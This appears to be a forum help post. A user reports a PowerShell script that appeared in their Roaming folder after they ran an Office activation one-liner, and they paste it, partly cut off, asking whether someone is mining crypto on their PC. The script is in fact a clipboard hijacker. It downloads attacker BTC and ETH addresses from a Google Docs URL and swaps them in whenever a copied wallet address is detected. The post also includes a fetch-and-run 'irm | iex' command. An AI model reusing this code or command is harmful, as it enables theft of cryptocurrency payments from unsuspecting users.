I think someone is using my pc to mine BTC after MAS activation

hi, one day after i activated MS 365 with the script "irm https://get.activated.win | iex", a powershell script has been created on my ROAMING folder. every day i boot my pc, an error occurs on CMD linked to this script. the script has a google docs with a BTC and ETH address
i don't undertand about coding, so here is the script: Add-Type -AssemblyName System.Windows.Forms

$URL = "https://docs.google.com/document/u/4/export?format=txt&id=16O\_gr-QQNl9XtpOge9J4AiGl-cqqRLp37-nagfIFV1s"

$script:BTC = ""

$script:ETH = ""

$ultimo = ""

function CarregarEnderecos {

try {

$wc = New-Object System.Net.WebClient

$wc.Headers.Add("User-Agent", "Mozilla/5.0")

$conteudo = $wc.DownloadString($URL)

if ($conteudo -match "BTC\s*[=:]\s*([1-9A-HJ-NP-Za-km-z]+)") {

$script:BTC = $matches[1]

}

if ($conteudo -match "ETH\s*[=:]\s*(0x[a-fA-F0-9]+)") {

$script:ETH = $matches[1]

}

return $true

}

catch {

return $false

}

}

if (CarregarEnderecos) {

while ($true) {

if ([System.Windows.Forms.Clipboard]::ContainsText()) {

$texto = [System.Windows.Forms.Clipboard]::GetText().Trim()

if ($texto -ne $ultimo) {

$ultimo = $texto

if ($texto -match "^(1|3|bc1)[a-zA-Z0-9]{25,59}$" -and $script:BTC) {

[System.Windows.Forms.Clipboard]::SetText($script:BTC)

}

elseif ($texto -match "^0x[a-fA-F0-9]{40}$" -and $script:ETH) {

[System.Windows.Forms.Clipboard]::SetText($script:ETH)

Start-Sleep -Milliseconds 500

Is someone using my PC to mine cryptos? Can i do something about it?
